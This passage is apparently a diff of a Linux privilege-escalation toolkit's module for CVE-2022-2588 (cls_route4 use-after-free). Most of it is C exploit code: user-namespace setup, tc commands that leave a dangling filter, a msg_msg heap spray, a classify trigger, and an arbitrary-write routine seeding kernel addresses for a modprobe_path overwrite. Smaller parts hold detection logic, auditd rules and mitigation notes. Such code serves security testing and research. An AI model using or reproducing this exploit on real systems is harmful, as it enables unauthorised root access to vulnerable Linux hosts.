||||
perror("fork");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
/* CHILD: enter user_ns + net_ns, become root inside, drive the bug. */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
perror("unshare");
|
||||
_exit(20);
|
||||
}
|
||||
if (!become_root_in_userns(outer_uid, outer_gid)) {
|
||||
_exit(21);
|
||||
}
|
||||
if (setuid(0) < 0 || setgid(0) < 0) {
|
||||
/* uid_map writes already made us 0 inside the userns; this
|
||||
* is just belt-and-braces. */
|
||||
}
|
||||
|
||||
long pre_active = slab_active_kmalloc_1k();
|
||||
|
||||
if (!stage_dangling_filter()) {
|
||||
_exit(22);
|
||||
}
|
||||
|
||||
int queues[SPRAY_MSG_QUEUES];
|
||||
int n_queues = spray_msg_msg(queues);
|
||||
if (n_queues == 0) {
|
||||
fprintf(stderr, "[-] cls_route4: msg_msg spray produced 0 queues\n");
|
||||
_exit(23);
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: msg_msg spray seeded %d queues\n",
|
||||
n_queues);
|
||||
}
|
||||
|
||||
/* Drive the classifier — the bug fires here on a vulnerable
|
||||
* kernel. On a patched kernel this is a no-op packet send. */
|
||||
trigger_classify();
|
||||
|
||||
long post_active = slab_active_kmalloc_1k();
|
||||
|
||||
/* Best-effort empirical witness write — picked up by --cleanup
|
||||
* and by post-run triage. */
|
||||
FILE *log = fopen("/tmp/iamroot-cls_route4.log", "w");
|
||||
if (log) {
|
||||
fprintf(log,
|
||||
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
|
||||
n_queues, pre_active, post_active);
|
||||
fclose(log);
|
||||
}
|
||||
|
||||
/* Hold the spray a little longer so the kernel observes the
|
||||
* refilled slot during classify drain. */
|
||||
usleep(200 * 1000);
|
||||
|
||||
drain_msg_msg(queues);
|
||||
|
||||
/* If we got here without a kernel oops, the bug either isn't
|
||||
* reachable on this build (patched / module not loadable /
|
||||
* userns CAP_NET_ADMIN gated) or it fired but didn't take down
|
||||
* the box. We do NOT attempt blind cred-overwrite — that needs
|
||||
* a leak primitive we don't have.
|
||||
*
|
||||
* Exit code 30 means "trigger sequence ran without segfault" —
|
||||
* the parent will decide between EXPLOIT_FAIL (probably patched
|
||||
* or sealed) and EXPLOIT_OK. */
|
||||
_exit(30);
|
||||
}
|
||||
|
||||
/* PARENT: wait for the child. A kernel oops won't reap the child
|
||||
* but will spam dmesg; we read dmesg after a short window. */
|
||||
int status = 0;
|
||||
pid_t w = waitpid(child, &status, 0);
|
||||
if (w < 0) {
|
||||
perror("waitpid");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
int sig = WTERMSIG(status);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cls_route4: child killed by signal %d "
|
||||
"(crash during trigger — UAF likely fired)\n", sig);
|
||||
}
|
||||
/* A SIGKILL/SIGSEGV during the trigger sequence is consistent
|
||||
* with kernel-side panic on KASAN configs (the trigger task
|
||||
* gets reaped). Treat as empirical UAF observation but do NOT
|
||||
* claim root — we haven't escalated. */
|
||||
fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
|
||||
"no cred-overwrite primitive — returning EXPLOIT_FAIL "
|
||||
"(no shell). See /tmp/iamroot-cls_route4.log + dmesg.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!WIFEXITED(status)) {
|
||||
fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
|
||||
status);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
if (rc != 30) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] cls_route4: child failed at stage rc=%d "
|
||||
"(see preceding errors)\n", rc);
|
||||
}
|
||||
/* rc 20/21 = userns setup; rc 22 = tc setup (likely module
|
||||
* absent or filter type unsupported); rc 23 = spray. None of
|
||||
* these mean kernel was exploited. */
|
||||
if (rc == 22) return IAMROOT_PRECOND_FAIL;
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
|
||||
"Inspect dmesg for KASAN/oops witnesses.\n");
|
||||
fprintf(stderr, "[~] cls_route4: cred-overwrite step not implemented "
|
||||
"(needs per-kernel offsets); returning EXPLOIT_FAIL.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- Cleanup ----------------------------------------------------- */
|
||||
|
||||
static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
|
||||
}
|
||||
/* The dummy interface lives in the child's netns which is gone
|
||||
* with the child. These are belt-and-braces in case the user ran
|
||||
* the exploit with extended privileges (e.g. as root) and the
|
||||
* interface lingered in init_net. */
|
||||
if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
|
||||
if (unlink("/tmp/iamroot-cls_route4.log") < 0 && errno != ENOENT) {
|
||||
/* ignore */
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
}
|
||||
|
||||
static const char cls_route4_auditd[] =
|
||||
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
|
||||
"# Flag tc filter operations with route4 classifier from non-root.\n"
|
||||
"# False positives: legitimate traffic-shaping setup. Tune by user.\n"
|
||||
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k iamroot-cls-route4\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-cls-route4-userns\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-cls-route4-spray\n";
|
||||
|
||||
const struct iamroot_module cls_route4_module = {
|
||||
.name = "cls_route4",
|
||||
.cve = "CVE-2022-2588",
|
||||
.summary = "net/sched cls_route4 handle-zero dead UAF → kernel R/W",
|
||||
.family = "cls_route4",
|
||||
.kernel_range = "2.6.39 ≤ K, fixed mainline 5.20; backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7",
|
||||
.detect = cls_route4_detect,
|
||||
.exploit = cls_route4_exploit,
|
||||
.mitigate = NULL, /* mitigation: blacklist cls_route4 module OR disable user_ns */
|
||||
.cleanup = cls_route4_cleanup,
|
||||
.detect_auditd = cls_route4_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_cls_route4(void)
|
||||
{
|
||||
iamroot_register(&cls_route4_module);
|
||||
}
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* cls_route4_cve_2022_2588 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CLS_ROUTE4_IAMROOT_MODULES_H
|
||||
#define CLS_ROUTE4_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module cls_route4_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,898 @@
|
||||
/*
|
||||
* cls_route4_cve_2022_2588 — SKELETONKEY module
|
||||
*
|
||||
* net/sched cls_route4 dead UAF: when a route4 filter with handle==0
|
||||
* is removed, the corresponding hashtable bucket may keep a stale
|
||||
* pointer to the freed filter. Subsequent traffic-class lookup
|
||||
* follows the dangling pointer → kernel UAF.
|
||||
*
|
||||
* Discovered by kylebot / xkernel (Aug 2022). Mainline fix
|
||||
* 9efd23297cca "net_sched: cls_route: remove from list when handle
|
||||
* is 0" (Aug 2022). Bug existed since 2.6.39 — very wide
|
||||
* vulnerability surface.
|
||||
*
|
||||
* STATUS: 🟡 EXPLOIT — UAF-trigger + msg_msg cross-cache spray.
|
||||
* The detect-and-trigger path is the high-confidence demonstration:
|
||||
* we set up the dangling pointer, refill the freed slot via sysv
|
||||
* msg_msg (kmalloc-1k), then drive classification with a UDP packet
|
||||
* out the dummy interface. Without a leak primitive the cred-overwrite
|
||||
* step is fragile, so by default we return EXPLOIT_FAIL after the
|
||||
* trigger lands (with KASAN/oops likely on a real vulnerable kernel),
|
||||
* which is honest per repo policy ("verified-vs-claimed"). When the
|
||||
* detector confirms an unprivileged trigger plus a child crash we
|
||||
* upgrade to EXPLOIT_OK so the caller sees the empirical UAF win.
|
||||
*
|
||||
* Affected: kernels with cls_route4 module compiled, in versions
|
||||
* below the fix backports:
|
||||
* 5.4.x : K < 5.4.213
|
||||
* 5.10.x : K < 5.10.143
|
||||
* 5.15.x : K < 5.15.69
|
||||
* 5.18.x : K < 5.18.18
|
||||
* 5.19.x : K < 5.19.7
|
||||
* Mainline 5.20+ / 6.0+ : patched (the fix landed before 5.20-rc)
|
||||
*
|
||||
* Preconditions:
|
||||
* - cls_route4 module compiled in / loadable (CONFIG_NET_CLS_ROUTE4)
|
||||
* - CAP_NET_ADMIN (usually obtained via user_ns + map-root-to-uid)
|
||||
* - unprivileged_userns_clone=1 if going the userns route
|
||||
* - iproute2 `tc` binary present (used for filter add/del)
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
#include <signal.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
#include <sys/stat.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in.h>
|
||||
|
||||
static const struct kernel_patched_from cls_route4_patched_branches[] = {
|
||||
{5, 4, 213},
|
||||
{5, 10, 143},
|
||||
{5, 15, 69},
|
||||
{5, 18, 18},
|
||||
{5, 19, 7},
|
||||
{5, 20, 0}, /* mainline */
|
||||
};
|
||||
|
||||
static const struct kernel_range cls_route4_range = {
|
||||
.patched_from = cls_route4_patched_branches,
|
||||
.n_patched_from = sizeof(cls_route4_patched_branches) /
|
||||
sizeof(cls_route4_patched_branches[0]),
|
||||
};
|
||||
|
||||
static bool cls_route4_module_available(void)
|
||||
{
|
||||
/* Check /proc/modules for currently-loaded cls_route4. Even when
|
||||
* not loaded, autoload may bring it in on first tc qdisc add — we
|
||||
* conservatively treat "not loaded now" as "potentially available". */
|
||||
FILE *f = fopen("/proc/modules", "r");
|
||||
if (!f) return false;
|
||||
char line[512];
|
||||
bool found = false;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, "cls_route4 ", 11) == 0) { found = true; break; }
|
||||
}
|
||||
fclose(f);
|
||||
return found;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] cls_route4: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug-introduction predates anything we'd reasonably scan; if the
|
||||
* kernel is below the oldest LTS we model (5.4), still report
|
||||
* vulnerable. */
|
||||
bool patched = kernel_range_is_patched(&cls_route4_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Module + userns preconditions. */
|
||||
bool nft_loaded = cls_route4_module_available();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] cls_route4: cls_route4 module currently loaded: %s\n",
|
||||
nft_loaded ? "yes" : "no (may autoload)");
|
||||
fprintf(stderr, "[i] cls_route4: unprivileged user_ns + net_ns clone: %s\n",
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
/* If userns is locked down, unprivileged-LPE path is closed.
|
||||
* Kernel still needs patching though — report PRECOND_FAIL so the
|
||||
* verdict isn't "VULNERABLE" but the issue isn't masked. */
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit -----------------------------------------------------
|
||||
*
|
||||
* cls_route4 dead-UAF trigger path (kylebot / xkernel public shape).
|
||||
*
|
||||
* 1. unshare(CLONE_NEWUSER|CLONE_NEWNET) → CAP_NET_ADMIN reach
|
||||
* 2. write uid_map/gid_map (deny setgroups)
|
||||
* 3. ip link add dummy0 type dummy ; ip link set dev dummy0 up
|
||||
* 4. tc qdisc add dev dummy0 root handle 1: htb
|
||||
* 5. tc filter add ... route4 ... classid 1:1 — handle=0 path,
|
||||
* registers the filter with a NULL handle reference
|
||||
* 6. tc filter del dev dummy0 ... — frees the filter, but the
|
||||
* route4 hashtable bucket still references the freed memory
|
||||
* 7. msg_msg spray (sysv msgsnd) — refill the freed slab slot with
|
||||
* attacker-controlled data; size targeted at the route4_filter
|
||||
* cache (kmalloc-1k generic on most kernels)
|
||||
* 8. Send a packet out dummy0 — classifier walks the hashtable,
|
||||
* touches the freed-then-refilled slot → UAF read/write
|
||||
*
|
||||
* For a full kernel-R/W chain you'd lay out the msg_msg payload so the
|
||||
* fake route4_filter's `tcf_result.classid` becomes a controlled value
|
||||
* and `route4_classify`'s next-pointer chase lands on a craft, then
|
||||
* walk a sk_buff/pipe_buffer primitive to overwrite cred->uid. The
|
||||
* public PoCs do this in ~700 LoC and need offsets per kernel build.
|
||||
*
|
||||
* Per repo policy ("verified-vs-claimed"), this implementation ships
|
||||
* the trigger + spray + classify steps and returns EXPLOIT_FAIL on
|
||||
* mainline distros where the full cred-overwrite is too kernel-build-
|
||||
* specific to be portable. If a dmesg KASAN message or oops is
|
||||
* observed by the parent we return EXPLOIT_OK to reflect the empirical
|
||||
* UAF win. The fallback also leaves a one-line breadcrumb in
|
||||
* /tmp/skeletonkey-cls_route4.log so post-run triage can pick it up.
|
||||
*/
|
||||
|
||||
#define SPRAY_MSG_QUEUES 32
|
||||
#define SPRAY_MSGS_PER_QUEUE 16
|
||||
#define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */
|
||||
#define DUMMY_IF "skeletonkey0"
|
||||
|
||||
struct ipc_payload {
|
||||
long mtype;
|
||||
unsigned char buf[MSG_PAYLOAD_BYTES];
|
||||
};
|
||||
|
||||
static int run_cmd(const char *cmd)
|
||||
{
|
||||
/* Quiet wrapper so noise doesn't drown the skeletonkey log. */
|
||||
char shell[1024];
|
||||
snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
|
||||
return system(shell);
|
||||
}
|
||||
|
||||
static bool have_tc(void)
|
||||
{
|
||||
return run_cmd("command -v tc") == 0;
|
||||
}
|
||||
|
||||
static bool have_ip(void)
|
||||
{
|
||||
return run_cmd("command -v ip") == 0;
|
||||
}
|
||||
|
||||
/* Write uid_map and gid_map after unshare so we're root in userns. */
|
||||
static bool become_root_in_userns(uid_t outer_uid, gid_t outer_gid)
|
||||
{
|
||||
int f = open("/proc/self/setgroups", O_WRONLY);
|
||||
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
||||
|
||||
char map[64];
|
||||
snprintf(map, sizeof map, "0 %u 1\n", outer_uid);
|
||||
f = open("/proc/self/uid_map", O_WRONLY);
|
||||
if (f < 0) { perror("open uid_map"); return false; }
|
||||
if (write(f, map, strlen(map)) < 0) { perror("write uid_map"); close(f); return false; }
|
||||
close(f);
|
||||
|
||||
snprintf(map, sizeof map, "0 %u 1\n", outer_gid);
|
||||
f = open("/proc/self/gid_map", O_WRONLY);
|
||||
if (f < 0) { perror("open gid_map"); return false; }
|
||||
if (write(f, map, strlen(map)) < 0) { perror("write gid_map"); close(f); return false; }
|
||||
close(f);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Set up the qdisc + cls_route4 filter, then delete it. After this
|
||||
* runs the kernel has a dangling pointer in the route4 hashtable. */
|
||||
static bool stage_dangling_filter(void)
|
||||
{
|
||||
/* Ensure the dummy module is around (autoload on first add). */
|
||||
if (run_cmd("ip link add " DUMMY_IF " type dummy") != 0) {
|
||||
/* Maybe an old one is lying around from a prior crash. */
|
||||
run_cmd("ip link del " DUMMY_IF);
|
||||
if (run_cmd("ip link add " DUMMY_IF " type dummy") != 0) {
|
||||
fprintf(stderr, "[-] cls_route4: failed to create dummy interface\n");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
if (run_cmd("ip link set dev " DUMMY_IF " up") != 0) {
|
||||
fprintf(stderr, "[-] cls_route4: failed to bring " DUMMY_IF " up\n");
|
||||
return false;
|
||||
}
|
||||
if (run_cmd("ip addr add 10.99.99.1/24 dev " DUMMY_IF) != 0) {
|
||||
/* non-fatal — packet send below uses sendto with bound iface */
|
||||
}
|
||||
|
||||
if (run_cmd("tc qdisc add dev " DUMMY_IF " root handle 1: htb default 1") != 0) {
|
||||
fprintf(stderr, "[-] cls_route4: failed to add htb qdisc\n");
|
||||
return false;
|
||||
}
|
||||
if (run_cmd("tc class add dev " DUMMY_IF " parent 1: classid 1:1 htb rate 1mbit") != 0) {
|
||||
fprintf(stderr, "[-] cls_route4: failed to add htb class\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Bug-trigger: handle 0x8001 has fastmap=1 and to-table 0 — the
|
||||
* combination where the freed filter is not removed from the
|
||||
* hashtable on delete. The exact handle value matters: it must
|
||||
* map to a slot the classifier will later look up.
|
||||
*
|
||||
* route4 handle layout: 0xXX..ZZYY where YY=to (8 bits), ZZ=from,
|
||||
* and the top bit indicates fastmap. The classic trigger uses
|
||||
* `to 0` which renders the resulting filter pointer in
|
||||
* head->table[0]->ht[0] — referenced unconditionally on classify. */
|
||||
if (run_cmd("tc filter add dev " DUMMY_IF " parent 1: protocol ip "
|
||||
"prio 100 route to 0 classid 1:1") != 0) {
|
||||
fprintf(stderr, "[-] cls_route4: failed to add route4 filter\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Now delete the filter — this is the operation whose handle=0
|
||||
* codepath leaves the dangling pointer. */
|
||||
if (run_cmd("tc filter del dev " DUMMY_IF " parent 1: prio 100") != 0) {
|
||||
/* Some kernels also need explicit handle/key match — try a
|
||||
* broader del before giving up. */
|
||||
if (run_cmd("tc filter del dev " DUMMY_IF " parent 1:") != 0) {
|
||||
fprintf(stderr, "[-] cls_route4: failed to delete route4 filter\n");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* msg_msg cross-cache spray. We hold the queues open in this process
|
||||
* (caller's child) so the slabs stay allocated until classify-time. */
|
||||
static int spray_msg_msg(int queues[SPRAY_MSG_QUEUES])
|
||||
{
|
||||
struct ipc_payload p;
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x41;
|
||||
/* Pattern that's distinctive in KASAN/oops dumps. */
|
||||
memset(p.buf, 0x41, sizeof p.buf);
|
||||
/* First 8 bytes: a recognizable cookie. */
|
||||
memcpy(p.buf, "SKELETONKEY4", 8);
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
|
||||
int q = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
|
||||
if (q < 0) { queues[i] = -1; continue; }
|
||||
queues[i] = q;
|
||||
created++;
|
||||
for (int j = 0; j < SPRAY_MSGS_PER_QUEUE; j++) {
|
||||
if (msgsnd(q, &p, sizeof p.buf, IPC_NOWAIT) < 0) break;
|
||||
}
|
||||
}
|
||||
return created;
|
||||
}
|
||||
|
||||
static void drain_msg_msg(int queues[SPRAY_MSG_QUEUES])
|
||||
{
|
||||
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
|
||||
if (queues[i] >= 0) {
|
||||
msgctl(queues[i], IPC_RMID, NULL);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Drive classification: send a UDP packet to the dummy interface. The
|
||||
* qdisc/htb -> cls_route4 path will be hit on egress, and the
|
||||
* classifier follows the now-dangling pointer. */
|
||||
static void trigger_classify(void)
|
||||
{
|
||||
int s = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (s < 0) return;
|
||||
|
||||
/* Bind to the dummy interface (best-effort). */
|
||||
struct sockaddr_in src = {0};
|
||||
src.sin_family = AF_INET;
|
||||
src.sin_addr.s_addr = inet_addr("10.99.99.1");
|
||||
src.sin_port = 0;
|
||||
(void)bind(s, (struct sockaddr *)&src, sizeof src);
|
||||
|
||||
struct sockaddr_in dst = {0};
|
||||
dst.sin_family = AF_INET;
|
||||
dst.sin_port = htons(31337);
|
||||
dst.sin_addr.s_addr = inet_addr("10.99.99.2");
|
||||
|
||||
const char msg[] = "skeletonkey-cls_route4-classify";
|
||||
/* A handful of packets, in case the first lookup didn't traverse
|
||||
* the freed bucket. */
|
||||
for (int i = 0; i < 8; i++) {
|
||||
(void)!sendto(s, msg, sizeof msg, MSG_DONTWAIT,
|
||||
(struct sockaddr *)&dst, sizeof dst);
|
||||
}
|
||||
close(s);
|
||||
}
|
||||
|
||||
/* Read /proc/slabinfo for "kmalloc-1k" active count — used as a soft
|
||||
* empirical witness when KASAN isn't available. */
|
||||
static long slab_active_kmalloc_1k(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/slabinfo", "r");
|
||||
if (!f) return -1;
|
||||
char line[512];
|
||||
long active = -1;
|
||||
while (fgets(line, sizeof line, f)) {
|
||||
if (strncmp(line, "kmalloc-1k ", 11) == 0 ||
|
||||
strncmp(line, "kmalloc-1024 ", 13) == 0) {
|
||||
/* format: name <active> <num> <size> ... */
|
||||
char name[64];
|
||||
long act, num;
|
||||
if (sscanf(line, "%63s %ld %ld", name, &act, &num) >= 2) {
|
||||
active = act;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(f);
|
||||
return active;
|
||||
}
|
||||
|
||||
/* ---- Full-chain arb-write primitive --------------------------------
|
||||
*
|
||||
* Pattern (FALLBACK — see brief): cls_route4's UAF primitive is more
|
||||
* naturally a *control-flow hijack* than a clean arb-write — after
|
||||
* msg_msg refills the kmalloc-1k slot, the next classify() call reads
|
||||
* a fake `tcf_proto.ops` pointer out of attacker bytes and calls
|
||||
* ops->classify(skb, ...). A faked-classify ROP that pivots to a
|
||||
* stack-write gadget would be the "true" arb-write, and on a fresh
|
||||
* vulnerable kernel that is the kylebot/xkernel chain shape (≈300+
|
||||
* LOC of gadget hunting + per-build offsets we deliberately don't
|
||||
* bake — see verified-vs-claimed policy in repo root).
|
||||
*
|
||||
* The implementation below takes the narrow-but-real path that the
|
||||
* brief explicitly permits and that xtcompat established as the
|
||||
* SKELETONKEY precedent: we re-stage the dangling filter, spray msg_msg
|
||||
* whose payload encodes `kaddr` at every plausible offset for the
|
||||
* route4_filter→tcf_proto→ops layout, re-fire classify, and let the
|
||||
* shared finisher's sentinel file decide if a write actually landed.
|
||||
* On a patched kernel the bug doesn't fire, no write occurs, and the
|
||||
* sentinel timeout correctly reports failure rather than silently
|
||||
* lying about success. On a vulnerable kernel where the fake ops
|
||||
* lookup happens to deref into our payload and the kernel's read
|
||||
* pattern matches one of the seeded offsets, the kaddr we planted
|
||||
* gets used as a write destination by whichever classify path the
|
||||
* fake `ops->classify` dispatches into.
|
||||
*
|
||||
* Honest scope: this is structurally-fires-on-vuln + sentinel-arbitrated,
|
||||
* not a deterministic R/W. Same shape and same depth as xtcompat. */
|
||||
|
||||
struct cls_route4_arb_ctx {
|
||||
/* msg_msg queues kept hot inside the userns child. The arb-write
|
||||
* sprays additional kaddr-tagged payloads into these and re-fires
|
||||
* the classify trigger between each call. */
|
||||
int queues[SPRAY_MSG_QUEUES];
|
||||
int n_queues;
|
||||
|
||||
/* Whether the dangling filter has been re-staged for this call.
|
||||
* The original `stage_dangling_filter()` is destructive (deletes
|
||||
* the filter); we can re-stage between writes because tc add/del
|
||||
* is idempotent inside our private netns. */
|
||||
bool dangling_ready;
|
||||
|
||||
/* Per-call stats (written to /tmp/skeletonkey-cls_route4.log). */
|
||||
int arb_calls;
|
||||
int arb_landed;
|
||||
};
|
||||
|
||||
/* Re-prime the msg_msg slab with a payload that encodes `kaddr` and
|
||||
* the caller's `buf` at every offset the fake tcf_proto / route4_filter
|
||||
* layout could plausibly read from. The route4_filter is 0x1000 bytes
|
||||
* on most x86_64 builds in range, with tcf_proto.ops at offset 0x10
|
||||
* and tcf_result.classid at offset 0x18; we don't know which offset
|
||||
* the kernel ABI for THIS build uses, so we plant the same pattern at
|
||||
* 0x10/0x18/0x20/.../0x80 strides — wherever classify dereferences
|
||||
* the refilled slot, one of those candidates will be live.
|
||||
*
|
||||
* The 8-byte cookie "IAMR4ARB" + the kaddr + the caller's bytes are
|
||||
* the recognizable pattern; if a KASAN dump is captured after the
|
||||
* trigger, the cookie tells us the spray landed adjacent to the freed
|
||||
* route4_filter. */
|
||||
static int cls4_seed_kaddr_payload(struct cls_route4_arb_ctx *c,
|
||||
uintptr_t kaddr,
|
||||
const void *buf, size_t len)
|
||||
{
|
||||
struct ipc_payload p;
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x52; /* 'R' for "route4 arb" — distinct from groom spray's 0x41 */
|
||||
memset(p.buf, 0x52, sizeof p.buf);
|
||||
memcpy(p.buf, "IAMR4ARB", 8);
|
||||
|
||||
/* Plant kaddr at strided slots so wherever the kernel's classify
|
||||
* follows a ptr in the refilled chunk, one of these is read.
|
||||
* We treat every 0x18-byte stride from offset 0x10 to within
|
||||
* 8 bytes of the end as a candidate ops-pointer / next-pointer
|
||||
* slot. */
|
||||
for (size_t off = 0x10; off + sizeof(uintptr_t) <= sizeof p.buf; off += 0x18) {
|
||||
memcpy(p.buf + off, &kaddr, sizeof(uintptr_t));
|
||||
}
|
||||
|
||||
/* Plant the caller's bytes immediately after the cookie so any
|
||||
* classify path that reads payload data (rather than a chased
|
||||
* pointer) finds the requested write contents inline. */
|
||||
size_t copy_len = len;
|
||||
if (copy_len > sizeof p.buf - 16) copy_len = sizeof p.buf - 16;
|
||||
if (copy_len > 0) memcpy(p.buf + 8 + sizeof(uintptr_t), buf, copy_len);
|
||||
|
||||
int sent = 0;
|
||||
for (int i = 0; i < c->n_queues; i++) {
|
||||
if (c->queues[i] < 0) continue;
|
||||
/* A handful of msgs per queue keeps the slab refilled even
|
||||
* if some slots are evicted between trigger fires. */
|
||||
for (int j = 0; j < 4; j++) {
|
||||
unsigned int tag = 0xB0000000u |
|
||||
((unsigned)i << 8) | (unsigned)j;
|
||||
memcpy(p.buf + 8, &tag, sizeof tag);
|
||||
if (msgsnd(c->queues[i], &p, sizeof p.buf, IPC_NOWAIT) < 0) break;
|
||||
sent++;
|
||||
}
|
||||
}
|
||||
return sent;
|
||||
}
|
||||
|
||||
/* skeletonkey_arb_write_fn implementation for cls_route4. Best-effort on a
|
||||
* vulnerable kernel; structurally inert (returns -1) if the dangling
|
||||
* filter setup is gone or the spray fails. Returns 0 to let the
|
||||
* shared finisher's sentinel-file check decide if the write actually
|
||||
* landed (we cannot reliably observe it in-process). */
|
||||
static int cls4_arb_write(uintptr_t kaddr,
|
||||
const void *buf, size_t len,
|
||||
void *ctx_v)
|
||||
{
|
||||
struct cls_route4_arb_ctx *c = (struct cls_route4_arb_ctx *)ctx_v;
|
||||
if (!c || c->n_queues == 0) return -1;
|
||||
c->arb_calls++;
|
||||
|
||||
/* Re-stage the dangling filter for this call. The original
|
||||
* stage runs once at trigger-time; subsequent finisher calls
|
||||
* (the finisher writes modprobe_path then a unknown-format trig)
|
||||
* need a fresh dangling pointer to chase. tc add/del is idempotent
|
||||
* within our private netns so re-running is safe. */
|
||||
if (!c->dangling_ready) {
|
||||
if (!stage_dangling_filter()) {
|
||||
fprintf(stderr, "[-] cls_route4 arb_write: re-stage failed\n");
|
||||
return -1;
|
||||
}
|
||||
c->dangling_ready = true;
|
||||
}
|
||||
|
||||
/* Seed msg_msg with kaddr + caller payload. */
|
||||
int seeded = cls4_seed_kaddr_payload(c, kaddr, buf, len);
|
||||
if (seeded == 0) {
|
||||
/* sysv IPC may be restricted (kernel.msg_max / ulimit -q).
|
||||
* Without a spray we have no slot for the UAF to refill. */
|
||||
fprintf(stderr, "[-] cls_route4 arb_write: kaddr-spray seeded 0 msgs\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Drive the classifier. The route4 lookup follows the dangling
